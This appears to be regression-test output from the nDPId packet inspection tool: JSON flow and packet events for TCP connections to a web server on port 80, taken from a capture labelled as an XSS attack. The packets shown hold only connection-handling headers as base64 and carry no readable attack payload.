+00433{"flow_id":506,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7192,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347830,"pkt_ts_usec":846692,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0S49AAEAGeEnAqAoyrBAAAQBQgUjyJE\/e4G1jcoARAOO7IgAAAQEICgPmBFEBPDLc"} +00432{"flow_id":506,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7193,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347830,"pkt_ts_usec":847232,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0TrBAAD4GdyisEAABwKgKMoFIAFDgbWNy8iRP34AQAOW7IAAAAQEICgE8MtwD5gRR"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7200,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":509,"flow_packet_id":1,"flow_first_seen":1499347832201,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33162,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":509,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7200,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347832,"pkt_ts_usec":201949,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8Dq9AAD4GtyGsEAABwKgKMoGKAFARZDqAAAAAAKACchBb2gAAAgQFtAQCCAoBPDQvAAAAAAEDAwc="} +00444{"flow_id":509,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7201,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347832,"pkt_ts_usec":202044,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgYqpulj1EWQ6gaAScSBQgAAAAgQFtAQCCAoD5gWjATw0LwEDAwc="} +00432{"flow_id":509,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7202,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347832,"pkt_ts_usec":202819,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0DrBAAD4GtyisEAABwKgKMoGKAFARZDqBqbpY9oAQAOXvhwAAAQEICgE8NC8D5gWj"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7209,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":510,"flow_packet_id":1,"flow_first_seen":1499347833462,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33176,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":510,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7209,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347833,"pkt_ts_usec":462049,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8H+JAAD4Gpe6sEAABwKgKMoGYAFAzOSqIAAAAAKACchBItAAAAgQFtAQCCAoBPDVqAAAAAAEDAwc="} +00444{"flow_id":510,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7210,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347833,"pkt_ts_usec":462176,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgZimBogRMzkqiaAScSAQtwAAAgQFtAQCCAoD5gbeATw1agEDAwc="} +00432{"flow_id":510,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7211,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347833,"pkt_ts_usec":462937,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0H+NAAD4GpfWsEAABwKgKMoGYAFAzOSqJpgaIEoAQAOWvvgAAAQEICgE8NWoD5gbe"} +00432{"flow_id":507,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7215,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347833,"pkt_ts_usec":847449,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0QF5AAD4GhXqsEAABwKgKMoFiAFAwDnAurqoZaoARAOXYFgAAAQEICgE8NcoD5gHl"} +00432{"flow_id":507,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7216,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347833,"pkt_ts_usec":847691,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0HlVAAEAGpYPAqAoyrBAAAQBQgWKuqhlqMA5wL4ARAOPSvQAAAQEICgPmBz8BPDXK"} +00433{"flow_id":507,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7217,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347833,"pkt_ts_usec":848456,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0QF9AAD4GhXmsEAABwKgKMoFiAFAwDnAvrqoZa4AQAOXSugAAAQEICgE8NcsD5gc\/"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7218,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":468,"flow_packet_id":6,"flow_first_seen":1499347761418,"flow_last_seen":1499347766830,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60652,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7218,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":468,"flow_packet_id":6,"flow_first_seen":1499347761418,"flow_last_seen":1499347766830,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60652,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7218,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":469,"flow_packet_id":6,"flow_first_seen":1499347762675,"flow_last_seen":1499347767831,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60666,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7218,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":469,"flow_packet_id":6,"flow_first_seen":1499347762675,"flow_last_seen":1499347767831,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60666,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7218,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":470,"flow_packet_id":6,"flow_first_seen":1499347765229,"flow_last_seen":1499347770831,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60692,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7218,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":470,"flow_packet_id":6,"flow_first_seen":1499347765229,"flow_last_seen":1499347770831,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60692,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7218,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":471,"flow_packet_id":6,"flow_first_seen":1499347766506,"flow_last_seen":1499347771832,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60706,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7218,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":471,"flow_packet_id":6,"flow_first_seen":1499347766506,"flow_last_seen":1499347771832,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60706,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7218,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":472,"flow_packet_id":6,"flow_first_seen":1499347767793,"flow_last_seen":1499347772833,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60720,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7218,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":472,"flow_packet_id":6,"flow_first_seen":1499347767793,"flow_last_seen":1499347772833,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60720,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":508,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7224,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347834,"pkt_ts_usec":847470,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0lVhAAD4GMICsEAABwKgKMoFwAFBnlqTkL4BqnoARAOWXgQAAAQEICgE8NsQD5gMq"} +00432{"flow_id":508,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7225,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347834,"pkt_ts_usec":847731,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0YqdAAEAGYTHAqAoyrBAAAQBQgXAvgGqeZ5ak5YARAOOScwAAAQEICgPmCDkBPDbE"} +00432{"flow_id":508,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7226,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347834,"pkt_ts_usec":848315,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0lVlAAD4GMH+sEAABwKgKMoFwAFBnlqTlL4Bqn4AQAOWScAAAAQEICgE8NsUD5gg5"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7230,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":511,"flow_packet_id":1,"flow_first_seen":1499347836095,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33202,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":511,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7230,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347836,"pkt_ts_usec":95456,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8Z2FAAD4GXm+sEAABwKgKMoGyAFBvhFCdAAAAAKACchDjpwAAAgQFtAQCCAoBPDf8AAAAAAEDAwc="} +00444{"flow_id":511,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7231,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347836,"pkt_ts_usec":95580,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgbKB84w4b4RQnqAScSDJAwAAAgQFtAQCCAoD5glxATw3\/AEDAwc="} +00432{"flow_id":511,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7232,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347836,"pkt_ts_usec":96358,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Z2JAAD4GXnasEAABwKgKMoGyAFBvhFCegfOMOYAQAOVoCgAAAQEICgE8N\/0D5glx"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7239,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":512,"flow_packet_id":1,"flow_first_seen":1499347837373,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33216,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":512,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7239,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347837,"pkt_ts_usec":373420,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8zIRAAD4G+UusEAABwKgKMoHAAFDQoPW4AAAAAKACchDcIQAAAgQFtAQCCAoBPDk8AAAAAAEDAwc="} +00444{"flow_id":512,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7240,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347837,"pkt_ts_usec":373592,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgcDH48pN0KD1uaAScSA8OQAAAgQFtAQCCAoD5gqwATw5PAEDAwc="} +00432{"flow_id":512,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7241,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347837,"pkt_ts_usec":374296,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0zIVAAD4G+VKsEAABwKgKMoHAAFDQoPW5x+PKToAQAOXbQAAAAQEICgE8OTwD5gqw"} +00432{"flow_id":509,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7245,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347837,"pkt_ts_usec":848511,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0DrFAAD4GtyesEAABwKgKMoGKAFARZDqBqbpY9oARAOXqAgAAAQEICgE8ObMD5gWj"} +00432{"flow_id":509,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7246,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347837,"pkt_ts_usec":848747,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0U9FAAEAGcAfAqAoyrBAAAQBQgYqpulj2EWQ6goARAOPkfwAAAQEICgPmCycBPDmz"} +00432{"flow_id":509,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7247,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347837,"pkt_ts_usec":849523,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0DrJAAD4GtyasEAABwKgKMoGKAFARZDqCqbpY94AQAOXkfQAAAQEICgE8ObMD5gsn"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7251,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":513,"flow_packet_id":1,"flow_first_seen":1499347838675,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33230,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":513,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7251,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347838,"pkt_ts_usec":675718,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8apJAAD4GWz6sEAABwKgKMoHOAFDGglATAAAAAKACchCKkgAAAgQFtAQCCAoBPDqBAAAAAAEDAwc="} +00444{"flow_id":513,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7252,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347838,"pkt_ts_usec":675808,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgc48YB01xoJQFKAScSAiAAAAAgQFtAQCCAoD5gv2ATw6gQEDAwc="} +00432{"flow_id":513,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7254,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347838,"pkt_ts_usec":676374,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0apNAAD4GW0WsEAABwKgKMoHOAFDGglAUPGAdNoAQAOXBBgAAAQEICgE8OoID5gv2"} +00432{"flow_id":510,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7257,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347838,"pkt_ts_usec":849149,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0H+RAAD4GpfSsEAABwKgKMoGYAFAzOSqJpgaIEoARAOWqegAAAQEICgE8Oq0D5gbe"} +00432{"flow_id":510,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7258,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347838,"pkt_ts_usec":849406,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0hDNAAEAGP6XAqAoyrBAAAQBQgZimBogSMzkqioARAOOlOAAAAQEICgPmDCEBPDqt"} +00432{"flow_id":510,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7259,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347838,"pkt_ts_usec":849955,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0H+VAAD4GpfOsEAABwKgKMoGYAFAzOSqKpgaIE4AQAOWlNgAAAQEICgE8Oq0D5gwh"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7269,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":514,"flow_packet_id":1,"flow_first_seen":1499347841229,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33256,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":514,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7269,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347841,"pkt_ts_usec":229542,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA86g5AAD4G28GsEAABwKgKMoHoAFBN49cOAAAAAKACchB5nQAAAgQFtAQCCAoBPD0AAAAAAAEDAwc="} +00444{"flow_id":514,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7270,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347841,"pkt_ts_usec":229694,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgejkRPOpTePXD6AScSCQMwAAAgQFtAQCCAoD5g50ATw9AAEDAwc="} +00432{"flow_id":514,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7271,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347841,"pkt_ts_usec":230439,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06g9AAD4G28isEAABwKgKMoHoAFBN49cP5ETzqoAQAOUvOwAAAQEICgE8PQAD5g50"} +00432{"flow_id":511,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7275,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347841,"pkt_ts_usec":849617,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Z2NAAD4GXnWsEAABwKgKMoGyAFBvhFCegfOMOYARAOViawAAAQEICgE8PZsD5glx"} +00432{"flow_id":511,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7276,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347841,"pkt_ts_usec":849866,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0gzZAAEAGQKLAqAoyrBAAAQBQgbKB84w5b4RQn4ARAONczgAAAQEICgPmDw8BPD2b"} +00432{"flow_id":511,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7277,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347841,"pkt_ts_usec":850419,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Z2RAAD4GXnSsEAABwKgKMoGyAFBvhFCfgfOMOoAQAOVczAAAAQEICgE8PZsD5g8P"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7281,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":515,"flow_packet_id":1,"flow_first_seen":1499347842491,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33270,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 